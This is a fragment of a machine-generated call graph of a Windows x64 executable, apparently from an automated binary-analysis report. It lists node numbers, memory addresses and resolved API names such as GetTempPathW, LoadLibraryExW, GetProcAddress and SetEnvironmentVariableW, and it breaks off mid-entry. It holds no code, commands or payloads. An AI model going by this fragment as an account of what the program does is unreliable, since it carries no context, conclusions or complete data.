16075->16030 16075->16031 16079 7ff7da8e4394 _get_daylight 11 API calls 16076->16079 16086 7ff7da8e423c EnterCriticalSection 16077->16086 16081 7ff7da8df5ba 16079->16081 16083 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 16081->16083 16083->16075 16179 7ff7da8d6700 16087->16179 16089 7ff7da8d1454 16090 7ff7da8d1459 16089->16090 16188 7ff7da8d6a20 16089->16188 16090->15315 16093 7ff7da8d14a7 16096 7ff7da8d14e0 16093->16096 16098 7ff7da8d3c90 116 API calls 16093->16098 16094 7ff7da8d1487 16095 7ff7da8d24d0 59 API calls 16094->16095 16114 7ff7da8d149d 16095->16114 16097 7ff7da8df884 73 API calls 16096->16097 16099 7ff7da8d14f2 16097->16099 16100 7ff7da8d14bf 16098->16100 16101 7ff7da8d1516 16099->16101 16102 7ff7da8d14f6 16099->16102 16100->16096 16103 7ff7da8d14c7 16100->16103 16105 7ff7da8d151c 16101->16105 16108 7ff7da8d1534 16101->16108 16104 7ff7da8d24d0 59 API calls 16102->16104 16106 7ff7da8d2770 59 API calls 16103->16106 16115 7ff7da8d14d6 __vcrt_freefls 16104->16115 16208 7ff7da8d1050 16105->16208 16106->16115 16110 7ff7da8d1556 16108->16110 16119 7ff7da8d1575 16108->16119 16109 7ff7da8d1624 16112 7ff7da8df1fc 74 API calls 16109->16112 16113 7ff7da8d24d0 59 API calls 16110->16113 16111 7ff7da8df1fc 74 API calls 16111->16109 16112->16114 16113->16115 16114->15315 16115->16109 16115->16111 16116 7ff7da8df54c _fread_nolock 53 API calls 16116->16119 16117 7ff7da8d15d5 16120 7ff7da8d24d0 59 API calls 16117->16120 16119->16115 16119->16116 16119->16117 16226 7ff7da8dfc8c 16119->16226 16120->16115 16122 7ff7da8d29a6 16121->16122 16123 7ff7da8d1b30 49 API calls 16122->16123 16125 7ff7da8d29db 16123->16125 16124 7ff7da8d2dc9 16125->16124 16126 7ff7da8d3b00 49 API calls 16125->16126 16127 7ff7da8d2a57 16126->16127 16796 7ff7da8d2ff0 16127->16796 16130 7ff7da8d2ae7 16132 7ff7da8d6700 98 API calls 16130->16132 16131 7ff7da8d2ff0 75 API calls 16133 7ff7da8d2ae3 16131->16133 16134 7ff7da8d2aef 16132->16134 16133->16130 16135 7ff7da8d2b55 16133->16135 16136 7ff7da8d2b0c 16134->16136 16804 7ff7da8d65e0 16134->16804 16137 7ff7da8d2ff0 75 API calls 16135->16137 16140 7ff7da8d2770 59 API calls 16136->16140 16174 7ff7da8d2b26 16136->16174 16139 7ff7da8d2b7e 16137->16139 16141 7ff7da8d2bd8 16139->16141 16142 7ff7da8d2ff0 75 API calls 16139->16142 16140->16174 16141->16136 16143 7ff7da8d6700 98 API calls 16141->16143 16144 7ff7da8d2bab 16142->16144 16149 7ff7da8d2be8 16143->16149 16144->16141 16147 7ff7da8d2ff0 75 API calls 16144->16147 16145 7ff7da8dacf0 _wfindfirst32i64 8 API calls 16146 7ff7da8d2b4a 16145->16146 16146->15315 16147->16141 16149->16136 16174->16145 16176 7ff7da8d17a1 16175->16176 16177 7ff7da8d1795 16175->16177 16176->15315 16178 7ff7da8d2770 59 API calls 16177->16178 16178->16176 16180 7ff7da8d6712 16179->16180 16185 7ff7da8d6748 16179->16185 16230 7ff7da8d16d0 16180->16230 16185->16089 16189 7ff7da8d6a30 16188->16189 16190 7ff7da8d1b30 49 API calls 16189->16190 16191 7ff7da8d6a61 16190->16191 16192 7ff7da8d1b30 49 API calls 16191->16192 16203 7ff7da8d6be9 16191->16203 16195 7ff7da8d6a88 16192->16195 16193 7ff7da8dacf0 _wfindfirst32i64 8 API calls 16194 7ff7da8d147f 16193->16194 16194->16093 16194->16094 16195->16203 16746 7ff7da8e5038 16195->16746 16197 7ff7da8d6b99 16198 7ff7da8d79a0 57 API calls 16197->16198 16199 7ff7da8d6bb1 16198->16199 16200 7ff7da8d6bd8 16199->16200 16755 7ff7da8d2880 16199->16755 16201 7ff7da8d3c90 116 API calls 16200->16201 16201->16203 16203->16193 16204 7ff7da8d6abd 16204->16197 16204->16203 16205 7ff7da8e5038 49 API calls 16204->16205 16206 7ff7da8d79a0 57 API calls 16204->16206 16207 7ff7da8d7810 58 API calls 16204->16207 16205->16204 16206->16204 16207->16204 16209 7ff7da8d10a6 16208->16209 16210 7ff7da8d10d3 16209->16210 16211 7ff7da8d10ad 16209->16211 16214 7ff7da8d10ed 16210->16214 16215 7ff7da8d1109 16210->16215 16212 7ff7da8d2770 59 API calls 16211->16212 16227 7ff7da8dfcbc 16226->16227 16781 7ff7da8df9dc 16227->16781 16232 7ff7da8d16f5 16230->16232 16231 7ff7da8d1738 16234 7ff7da8d6760 16231->16234 16232->16231 16233 7ff7da8d2770 59 API calls 16232->16233 16233->16231 16235 7ff7da8d6778 16234->16235 16236 7ff7da8d67eb 16235->16236 16237 7ff7da8d6798 16235->16237 16239 7ff7da8d67f0 GetTempPathW 16236->16239 16238 7ff7da8d6970 61 API calls 16237->16238 16240 7ff7da8d67a4 16238->16240 16241 7ff7da8d6805 16239->16241 16298 7ff7da8d6460 16240->16298 16274 7ff7da8d2470 16241->16274 16246 7ff7da8dacf0 _wfindfirst32i64 8 API calls 16253 7ff7da8d681e __vcrt_freefls 16273 7ff7da8d688a __vcrt_freefls 16273->16246 16275 7ff7da8d2495 16274->16275 16332 7ff7da8e3d88 16275->16332 16299 7ff7da8d646c 16298->16299 16300 7ff7da8d79a0 57 API calls 16299->16300 16301 7ff7da8d648e 16300->16301 16302 7ff7da8d6496 16301->16302 16303 7ff7da8d64a9 ExpandEnvironmentStringsW 16301->16303 16304 7ff7da8d2770 59 API calls 16302->16304 16305 7ff7da8d64cf __vcrt_freefls 16303->16305 16311 7ff7da8d64a2 16304->16311 16306 7ff7da8d64d3 16305->16306 16307 7ff7da8d64e6 16305->16307 16309 7ff7da8d2770 59 API calls 16306->16309 16312 7ff7da8d64f4 16307->16312 16313 7ff7da8d6500 16307->16313 16308 7ff7da8dacf0 _wfindfirst32i64 8 API calls 16310 7ff7da8d65c8 16308->16310 16309->16311 16310->16273 16322 7ff7da8e6604 16310->16322 16311->16308 16639 7ff7da8e5e94 16312->16639 16646 7ff7da8e5298 16313->16646 16316 7ff7da8d64fe 16323 7ff7da8e6624 16322->16323 16324 7ff7da8e6611 16322->16324 16334 7ff7da8e3de2 16332->16334 16333 7ff7da8e3e07 16335 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 16333->16335 16334->16333 16336 7ff7da8e3e43 16334->16336 16338 7ff7da8e3e31 16335->16338 16350 7ff7da8e2140 16336->16350 16340 7ff7da8dacf0 _wfindfirst32i64 8 API calls 16338->16340 16339 7ff7da8e3f24 16341 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 16339->16341 16342 7ff7da8d24b4 16340->16342 16341->16338 16342->16253 16344 7ff7da8e3f4a 16344->16339 16345 7ff7da8e3ef9 16348 7ff7da8e3ef0 16348->16339 16348->16345 16351 7ff7da8e217e 16350->16351 16352 7ff7da8e216e 16350->16352 16353 7ff7da8e2187 16351->16353 16358 7ff7da8e21b5 16351->16358 16356 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 16352->16356 16354 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 16353->16354 16355 7ff7da8e21ad 16354->16355 16355->16339 16355->16344 16355->16345 16355->16348 16356->16355 16358->16352 16358->16355 16361 7ff7da8e2b54 16358->16361 16394 7ff7da8e25a0 16358->16394 16431 7ff7da8e1d30 16358->16431 16362 7ff7da8e2b96 16361->16362 16363 7ff7da8e2c07 16361->16363 16395 7ff7da8e25c4 16394->16395 16396 7ff7da8e25ae 16394->16396 16397 7ff7da8e2604 16395->16397 16400 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 16395->16400 16396->16397 16398 7ff7da8e2b96 16396->16398 16399 7ff7da8e2c07 16396->16399 16397->16358 16400->16397 16487 7ff7da8e0178 16431->16487 16640 7ff7da8e5ee5 16639->16640 16641 7ff7da8e5eb2 16639->16641 16640->16316 16641->16640 16642 7ff7da8ef874 _wfindfirst32i64 37 API calls 16641->16642 16647 7ff7da8e52b4 16646->16647 16648 7ff7da8e5322 16646->16648 16647->16648 16650 7ff7da8e52b9 16647->16650 16683 7ff7da8eefe0 16648->16683 16747 7ff7da8ea570 __CxxCallCatchBlock 45 API calls 16746->16747 16748 7ff7da8e504d 16747->16748 16749 7ff7da8eede7 16748->16749 16752 7ff7da8eed06 16748->16752 16768 7ff7da8db0f4 16749->16768 16753 7ff7da8dacf0 _wfindfirst32i64 8 API calls 16752->16753 16754 7ff7da8eeddf 16753->16754 16754->16204 16771 7ff7da8db108 IsProcessorFeaturePresent 16768->16771 16772 7ff7da8db11f 16771->16772 16777 7ff7da8db1a4 RtlCaptureContext RtlLookupFunctionEntry 16772->16777 16778 7ff7da8db1d4 RtlVirtualUnwind 16777->16778 16779 7ff7da8db133 16777->16779 16778->16779 16780 7ff7da8dafe4 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 16779->16780 16782 7ff7da8df9fc 16781->16782 16787 7ff7da8dfa29 16781->16787 16782->16787 16797 7ff7da8d3024 16796->16797 16798 7ff7da8e3b34 49 API calls 16797->16798 16799 7ff7da8d304a 16798->16799 16800 7ff7da8d305b 16799->16800 16828 7ff7da8e4d58 16799->16828 16802 7ff7da8dacf0 _wfindfirst32i64 8 API calls 16800->16802 16803 7ff7da8d2a96 16802->16803 16803->16130 16803->16131 16805 7ff7da8d65ee 16804->16805 16806 7ff7da8d3c90 116 API calls 16805->16806 16807 7ff7da8d6615 16806->16807 16808 7ff7da8d6a20 132 API calls 16807->16808 16829 7ff7da8e4d75 16828->16829 16830 7ff7da8e4d81 16828->16830 16845 7ff7da8e45d0 16829->16845 16870 7ff7da8e496c 16830->16870 16834 7ff7da8e4d7a 16834->16800 16836 7ff7da8e4db9 16881 7ff7da8e4454 16836->16881 16839 7ff7da8e4e15 16839->16834 16842 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 16839->16842 16840 7ff7da8e4e29 16841 7ff7da8e45d0 69 API calls 16840->16841 16843 7ff7da8e4e35 16841->16843 16842->16834 16843->16834 16844 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 16843->16844 16844->16834 16846 7ff7da8e4607 16845->16846 16847 7ff7da8e45ea 16845->16847 16846->16847 16848 7ff7da8e461a CreateFileW 16846->16848 16849 7ff7da8e4374 _fread_nolock 11 API calls 16847->16849 16850 7ff7da8e4684 16848->16850 16851 7ff7da8e464e 16848->16851 16852 7ff7da8e45ef 16849->16852 16929 7ff7da8e4c48 16850->16929 16903 7ff7da8e4724 GetFileType 16851->16903 16853 7ff7da8e4394 _get_daylight 11 API calls 16852->16853 16856 7ff7da8e45f7 16853->16856 16859 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 16856->16859 16865 7ff7da8e4602 16859->16865 16865->16834 16871 7ff7da8e4990 16870->16871 16877 7ff7da8e498b 16870->16877 16872 7ff7da8ea570 __CxxCallCatchBlock 45 API calls 16871->16872 16871->16877 16873 7ff7da8e49ab 16872->16873 16991 7ff7da8eca7c 16873->16991 16877->16836 16878 7ff7da8edf1c 16877->16878 16999 7ff7da8edd08 16878->16999 16882 7ff7da8e44a2 16881->16882 16883 7ff7da8e447e 16881->16883 16884 7ff7da8e44fc 16882->16884 16885 7ff7da8e44a7 16882->16885 16886 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 16883->16886 16890 7ff7da8e448d 16883->16890 17009 7ff7da8ee740 16884->17009 16888 7ff7da8e44bc 16885->16888 16885->16890 16891 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 16885->16891 16886->16890 16892 7ff7da8eca1c _fread_nolock 12 API calls 16888->16892 16890->16839 16890->16840 16891->16888 16892->16890 16904 7ff7da8e482f 16903->16904 16905 7ff7da8e4772 16903->16905 16907 7ff7da8e4837 16904->16907 16908 7ff7da8e4859 16904->16908 16906 7ff7da8e479e GetFileInformationByHandle 16905->16906 16910 7ff7da8e4b44 21 API calls 16905->16910 16911 7ff7da8e47c7 16906->16911 16912 7ff7da8e484a GetLastError 16906->16912 16907->16912 16913 7ff7da8e483b 16907->16913 16909 7ff7da8e487c PeekNamedPipe 16908->16909 16927 7ff7da8e481a 16908->16927 16909->16927 16919 7ff7da8e478c 16910->16919 16915 7ff7da8e4a08 51 API calls 16911->16915 16914 7ff7da8e4308 _fread_nolock 11 API calls 16912->16914 16916 7ff7da8e4394 _get_daylight 11 API calls 16913->16916 16914->16927 16917 7ff7da8e47d2 16915->16917 16916->16927 16918 7ff7da8dacf0 _wfindfirst32i64 8 API calls 16919->16906 16919->16927 16927->16918 16930 7ff7da8e4c7e 16929->16930 16931 7ff7da8e4394 _get_daylight 11 API calls 16930->16931 16949 7ff7da8e4d16 __vcrt_freefls 16930->16949 16933 7ff7da8e4c90 16931->16933 16932 7ff7da8dacf0 _wfindfirst32i64 8 API calls 16934 7ff7da8e4689 16932->16934 16935 7ff7da8e4394 _get_daylight 11 API calls 16933->16935 16949->16932 16992 7ff7da8eca91 16991->16992 16993 7ff7da8e49ce 16991->16993 16992->16993 16994 7ff7da8f2374 45 API calls 16992->16994 16995 7ff7da8ecae8 16993->16995 16994->16993 16996 7ff7da8ecb10 16995->16996 16997 7ff7da8ecafd 16995->16997 16996->16877 16997->16996 16998 7ff7da8f16e0 45 API calls 16997->16998 16998->16996 17000 7ff7da8edd65 16999->17000 17007 7ff7da8edd60 __vcrt_FlsAlloc 16999->17007 17000->16836 17001 7ff7da8edd95 LoadLibraryW 17003 7ff7da8ede6a 17001->17003 17004 7ff7da8eddba GetLastError 17001->17004 17002 7ff7da8ede8a GetProcAddress 17002->17000 17005 7ff7da8ede9b 17002->17005 17003->17002 17006 7ff7da8ede81 FreeLibrary 17003->17006 17004->17007 17005->17000 17006->17002 17007->17000 17007->17001 17007->17002 17008 7ff7da8eddf4 LoadLibraryExW 17007->17008 17008->17003 17008->17007 17011 7ff7da8ee749 MultiByteToWideChar 17009->17011 17039 7ff7da8d6ffa 17038->17039 17040 7ff7da8e90dd 17038->17040 17044 7ff7da8e6e48 17039->17044 17041 7ff7da8e4394 _get_daylight 11 API calls 17040->17041 17042 7ff7da8e90e2 17041->17042 17045 7ff7da8e6e66 17044->17045 17046 7ff7da8e6e51 17044->17046 17095 7ff7da8e534c 17094->17095 17096 7ff7da8e5372 17095->17096 17099 7ff7da8e53a5 17095->17099 17097 7ff7da8e4394 _get_daylight 11 API calls 17096->17097 17098 7ff7da8e5377 17097->17098 17102 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 17098->17102 17100 7ff7da8e53ab 17099->17100 17101 7ff7da8e53b8 17099->17101 17103 7ff7da8e4394 _get_daylight 11 API calls 17100->17103 17113 7ff7da8ea048 17101->17113 17112 7ff7da8d3ce9 17102->17112 17103->17112 17112->15394 17126 7ff7da8ef6d8 EnterCriticalSection 17113->17126 17474 7ff7da8e78b8 17473->17474 17477 7ff7da8e7394 17474->17477 17476 7ff7da8e78d1 17476->15404 17478 7ff7da8e73af 17477->17478 17479 7ff7da8e73de 17477->17479 17481 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 17478->17481 17487 7ff7da8e423c EnterCriticalSection 17479->17487 17483 7ff7da8e73cf 17481->17483 17483->17476 17489 7ff7da8deff3 17488->17489 17490 7ff7da8df021 17488->17490 17491 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 17489->17491 17492 7ff7da8df013 17490->17492 17498 7ff7da8e423c EnterCriticalSection 17490->17498 17491->17492 17492->15408 17500 7ff7da8d12c6 17499->17500 17501 7ff7da8d12f8 17499->17501 17502 7ff7da8d3c90 116 API calls 17500->17502 17503 7ff7da8df884 73 API calls 17501->17503 17504 7ff7da8d12d6 17502->17504 17505 7ff7da8d130a 17503->17505 17504->17501 17506 7ff7da8d12de 17504->17506 17507 7ff7da8d132f 17505->17507 17508 7ff7da8d130e 17505->17508 17509 7ff7da8d2770 59 API calls 17506->17509 17513 7ff7da8d1364 17507->17513 17514 7ff7da8d1344 17507->17514 17510 7ff7da8d24d0 59 API calls 17508->17510 17511 7ff7da8d12ee 17509->17511 17512 7ff7da8d1325 17510->17512 17511->15419 17512->15419 17516 7ff7da8d137e 17513->17516 17521 7ff7da8d1395 17513->17521 17515 7ff7da8d24d0 59 API calls 17514->17515 17522 7ff7da8d135f __vcrt_freefls 17515->17522 17517 7ff7da8d1050 98 API calls 17516->17517 17517->17522 17518 7ff7da8d1421 17518->15419 17519 7ff7da8df54c _fread_nolock 53 API calls 17519->17521 17520 7ff7da8df1fc 74 API calls 17520->17518 17521->17519 17521->17522 17523 7ff7da8d13de 17521->17523 17522->17518 17522->17520 17524 7ff7da8d24d0 59 API calls 17523->17524 17524->17522 17526 7ff7da8d1b30 49 API calls 17525->17526 17527 7ff7da8d3d40 17526->17527 17527->15421 17529 7ff7da8d1666 17528->17529 17530 7ff7da8d16aa 17528->17530 17529->17530 17531 7ff7da8d2770 59 API calls 17529->17531 17530->15429 17532 7ff7da8d16be 17531->17532 17532->15429 17534 7ff7da8d79a0 57 API calls 17533->17534 17535 7ff7da8d7137 LoadLibraryExW 17534->17535 17536 7ff7da8d7154 __vcrt_freefls 17535->17536 17536->15445 17538 7ff7da8d4950 17537->17538 17539 7ff7da8d1b30 49 API calls 17538->17539 17540 7ff7da8d4982 17539->17540 17541 7ff7da8d49ab 17540->17541 17542 7ff7da8d498b 17540->17542 17544 7ff7da8d4a02 17541->17544 17546 7ff7da8d3d10 49 API calls 17541->17546 17543 7ff7da8d2770 59 API calls 17542->17543 17564 7ff7da8d49a1 17543->17564 17545 7ff7da8d3d10 49 API calls 17544->17545 17547 7ff7da8d4a1b 17545->17547 17548 7ff7da8d49cc 17546->17548 17550 7ff7da8d4a39 17547->17550 17553 7ff7da8d2770 59 API calls 17547->17553 17551 7ff7da8d49ea 17548->17551 17555 7ff7da8d2770 59 API calls 17548->17555 17549 7ff7da8dacf0 _wfindfirst32i64 8 API calls 17552 7ff7da8d309e 17549->17552 17554 7ff7da8d7120 58 API calls 17550->17554 17622 7ff7da8d3c20 17551->17622 17552->15524 17565 7ff7da8d4cc0 17552->17565 17553->17550 17558 7ff7da8d4a46 17554->17558 17555->17551 17559 7ff7da8d4a4b 17558->17559 17560 7ff7da8d4a6d 17558->17560 17562 7ff7da8d2620 57 API calls 17559->17562 17628 7ff7da8d3dd0 GetProcAddress 17560->17628 17561 7ff7da8d7120 58 API calls 17561->17544 17562->17564 17564->17549 17566 7ff7da8d6970 61 API calls 17565->17566 17569 7ff7da8d4cd5 17566->17569 17567 7ff7da8d4cf0 17568 7ff7da8d79a0 57 API calls 17567->17568 17570 7ff7da8d4d34 17568->17570 17569->17567 17571 7ff7da8d2880 59 API calls 17569->17571 17572 7ff7da8d4d50 17570->17572 17573 7ff7da8d4d39 17570->17573 17571->17567 17576 7ff7da8d79a0 57 API calls 17572->17576 17574 7ff7da8d2770 59 API calls 17573->17574 17575 7ff7da8d4d45 17574->17575 17575->15526 17577 7ff7da8d4d85 17576->17577 17580 7ff7da8d1b30 49 API calls 17577->17580 17591 7ff7da8d4d8a __vcrt_freefls 17577->17591 17578 7ff7da8d2770 59 API calls 17579 7ff7da8d4f31 17578->17579 17579->15526 17581 7ff7da8d4e07 17580->17581 17582 7ff7da8d4e33 17581->17582 17583 7ff7da8d4e0e 17581->17583 17591->17578 17592 7ff7da8d4f1a 17591->17592 17592->15526 17594 7ff7da8d46d7 17593->17594 17594->17594 17623 7ff7da8d3c2a 17622->17623 17624 7ff7da8d79a0 57 API calls 17623->17624 17625 7ff7da8d3c52 17624->17625 17626 7ff7da8dacf0 _wfindfirst32i64 8 API calls 17625->17626 17627 7ff7da8d3c7a 17626->17627 17627->17544 17627->17561 17629 7ff7da8d3e1b GetProcAddress 17628->17629 17630 7ff7da8d3df8 17628->17630 17629->17630 17631 7ff7da8d3e40 GetProcAddress 17629->17631 17632 7ff7da8d2620 57 API calls 17630->17632 17631->17630 17633 7ff7da8d3e65 GetProcAddress 17631->17633 17634 7ff7da8d3e0b 17632->17634 17633->17630 17635 7ff7da8d3e8d GetProcAddress 17633->17635 17634->17564 17635->17630 17636 7ff7da8d3eb5 GetProcAddress 17635->17636 17636->17630 17637 7ff7da8d3edd GetProcAddress 17636->17637 17638 7ff7da8d3f05 GetProcAddress 17637->17638 17639 7ff7da8d3ef9 17637->17639 17640 7ff7da8d3f21 17638->17640 17641 7ff7da8d3f2d GetProcAddress 17638->17641 17639->17638 17640->17641 17867 7ff7da8ea570 __CxxCallCatchBlock 45 API calls 17866->17867 17868 7ff7da8e9031 17867->17868 17869 7ff7da8e915c __CxxCallCatchBlock 45 API calls 17868->17869 17870 7ff7da8e9051 17869->17870 18917 7ff7da8ef958 18918 7ff7da8ef97c 18917->18918 18921 7ff7da8ef98c 18917->18921 18919 7ff7da8e4394 _get_daylight 11 API calls 18918->18919 18920 7ff7da8ef981 18919->18920 18922 7ff7da8efc6c 18921->18922 18923 7ff7da8ef9ae 18921->18923 18924 7ff7da8e4394 _get_daylight 11 API calls 18922->18924 18925 7ff7da8ef9cf 18923->18925 19048 7ff7da8f0014 18923->19048 18926 7ff7da8efc71 18924->18926 18929 7ff7da8efa41 18925->18929 18931 7ff7da8ef9f5 18925->18931 18938 7ff7da8efa35 18925->18938 18928 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18926->18928 18928->18920 18934 7ff7da8edc90 _get_daylight 11 API calls 18929->18934 18946 7ff7da8efa04 18929->18946 18930 7ff7da8efaee 18942 7ff7da8efb0b 18930->18942 18947 7ff7da8efb5d 18930->18947 19063 7ff7da8e8468 18931->19063 18935 7ff7da8efa57 18934->18935 18939 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18935->18939 18937 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18937->18920 18938->18930 18938->18946 19069 7ff7da8f63fc 18938->19069 18943 7ff7da8efa65 18939->18943 18940 7ff7da8ef9ff 18944 7ff7da8e4394 _get_daylight 11 API calls 18940->18944 18941 7ff7da8efa1d 18941->18938 18949 7ff7da8f0014 45 API calls 18941->18949 18945 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18942->18945 18943->18938 18943->18946 18951 7ff7da8edc90 _get_daylight 11 API calls 18943->18951 18944->18946 18948 7ff7da8efb14 18945->18948 18946->18937 18947->18946 18950 7ff7da8f244c 40 API calls 18947->18950 18962 7ff7da8efb19 18948->18962 19105 7ff7da8f244c 18948->19105 18949->18938 18952 7ff7da8efb9a 18950->18952 18953 7ff7da8efa87 18951->18953 18954 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18952->18954 18956 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18953->18956 18957 7ff7da8efba4 18954->18957 18956->18938 18957->18946 18957->18962 18958 7ff7da8efc60 18961 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18958->18961 18959 7ff7da8efb45 18960 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18959->18960 18960->18962 18961->18920 18962->18958 18963 7ff7da8edc90 _get_daylight 11 API calls 18962->18963 18964 7ff7da8efbe8 18963->18964 18965 7ff7da8efbf0 18964->18965 18966 7ff7da8efbf9 18964->18966 18967 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18965->18967 18968 7ff7da8e90fc __std_exception_copy 37 API calls 18966->18968 18969 7ff7da8efbf7 18967->18969 18970 7ff7da8efc08 18968->18970 18974 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18969->18974 18971 7ff7da8efc10 18970->18971 18972 7ff7da8efc9b 18970->18972 19114 7ff7da8f6514 18971->19114 18973 7ff7da8e9d20 _wfindfirst32i64 17 API calls 18972->18973 18976 7ff7da8efcaf 18973->18976 18974->18920 18978 7ff7da8efcd8 18976->18978 18986 7ff7da8efce8 18976->18986 18981 7ff7da8e4394 _get_daylight 11 API calls 18978->18981 18979 7ff7da8efc37 18983 7ff7da8e4394 _get_daylight 11 API calls 18979->18983 18980 7ff7da8efc58 18982 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18980->18982 19010 7ff7da8efcdd 18981->19010 18982->18958 18984 7ff7da8efc3c 18983->18984 18985 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18984->18985 18985->18969 18987 7ff7da8effcb 18986->18987 18988 7ff7da8efd0a 18986->18988 18989 7ff7da8e4394 _get_daylight 11 API calls 18987->18989 18990 7ff7da8efd27 18988->18990 19133 7ff7da8f00fc 18988->19133 18991 7ff7da8effd0 18989->18991 18994 7ff7da8efd9b 18990->18994 18995 7ff7da8efd4f 18990->18995 19000 7ff7da8efd8f 18990->19000 18993 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 18991->18993 18993->19010 18998 7ff7da8efdc3 18994->18998 19001 7ff7da8edc90 _get_daylight 11 API calls 18994->19001 19015 7ff7da8efd5e 18994->19015 19148 7ff7da8e84a4 18995->19148 18996 7ff7da8efe4e 19009 7ff7da8efe6b 18996->19009 19016 7ff7da8efebe 18996->19016 18998->19000 19003 7ff7da8edc90 _get_daylight 11 API calls 18998->19003 18998->19015 19000->18996 19000->19015 19154 7ff7da8f62bc 19000->19154 19005 7ff7da8efdb5 19001->19005 19008 7ff7da8efde5 19003->19008 19004 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19004->19010 19011 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19005->19011 19006 7ff7da8efd59 19012 7ff7da8e4394 _get_daylight 11 API calls 19006->19012 19007 7ff7da8efd77 19007->19000 19018 7ff7da8f00fc 45 API calls 19007->19018 19013 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19008->19013 19014 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19009->19014 19011->18998 19012->19015 19013->19000 19017 7ff7da8efe74 19014->19017 19015->19004 19016->19015 19019 7ff7da8f244c 40 API calls 19016->19019 19021 7ff7da8f244c 40 API calls 19017->19021 19024 7ff7da8efe7a 19017->19024 19018->19000 19020 7ff7da8efefc 19019->19020 19022 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19020->19022 19025 7ff7da8efea6 19021->19025 19026 7ff7da8eff06 19022->19026 19023 7ff7da8effbf 19028 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19023->19028 19024->19023 19029 7ff7da8edc90 _get_daylight 11 API calls 19024->19029 19027 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19025->19027 19026->19015 19026->19024 19027->19024 19028->19010 19030 7ff7da8eff4b 19029->19030 19031 7ff7da8eff53 19030->19031 19032 7ff7da8eff5c 19030->19032 19033 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19031->19033 19034 7ff7da8ef874 _wfindfirst32i64 37 API calls 19032->19034 19035 7ff7da8eff5a 19033->19035 19036 7ff7da8eff6a 19034->19036 19040 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19035->19040 19037 7ff7da8eff72 SetEnvironmentVariableW 19036->19037 19038 7ff7da8effff 19036->19038 19041 7ff7da8eff96 19037->19041 19042 7ff7da8effb7 19037->19042 19039 7ff7da8e9d20 _wfindfirst32i64 17 API calls 19038->19039 19043 7ff7da8f0013 19039->19043 19040->19010 19045 7ff7da8e4394 _get_daylight 11 API calls 19041->19045 19044 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19042->19044 19044->19023 19046 7ff7da8eff9b 19045->19046 19047 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19046->19047 19047->19035 19049 7ff7da8f0049 19048->19049 19055 7ff7da8f0031 19048->19055 19050 7ff7da8edc90 _get_daylight 11 API calls 19049->19050 19058 7ff7da8f006d 19050->19058 19051 7ff7da8f00ce 19053 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19051->19053 19052 7ff7da8e915c __CxxCallCatchBlock 45 API calls 19054 7ff7da8f00f8 19052->19054 19053->19055 19055->18925 19056 7ff7da8edc90 _get_daylight 11 API calls 19056->19058 19057 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19057->19058 19058->19051 19058->19056 19058->19057 19059 7ff7da8e90fc __std_exception_copy 37 API calls 19058->19059 19060 7ff7da8f00dd 19058->19060 19062 7ff7da8f00f2 19058->19062 19059->19058 19061 7ff7da8e9d20 _wfindfirst32i64 17 API calls 19060->19061 19061->19062 19062->19052 19064 7ff7da8e8481 19063->19064 19065 7ff7da8e8478 19063->19065 19064->18940 19064->18941 19065->19064 19178 7ff7da8e7f40 19065->19178 19070 7ff7da8f55ac 19069->19070 19071 7ff7da8f6409 19069->19071 19072 7ff7da8f55b9 19070->19072 19077 7ff7da8f55ef 19070->19077 19073 7ff7da8e496c 45 API calls 19071->19073 19075 7ff7da8e4394 _get_daylight 11 API calls 19072->19075 19091 7ff7da8f5560 19072->19091 19074 7ff7da8f643d 19073->19074 19078 7ff7da8f6442 19074->19078 19083 7ff7da8f6453 19074->19083 19086 7ff7da8f646a 19074->19086 19079 7ff7da8f55c3 19075->19079 19076 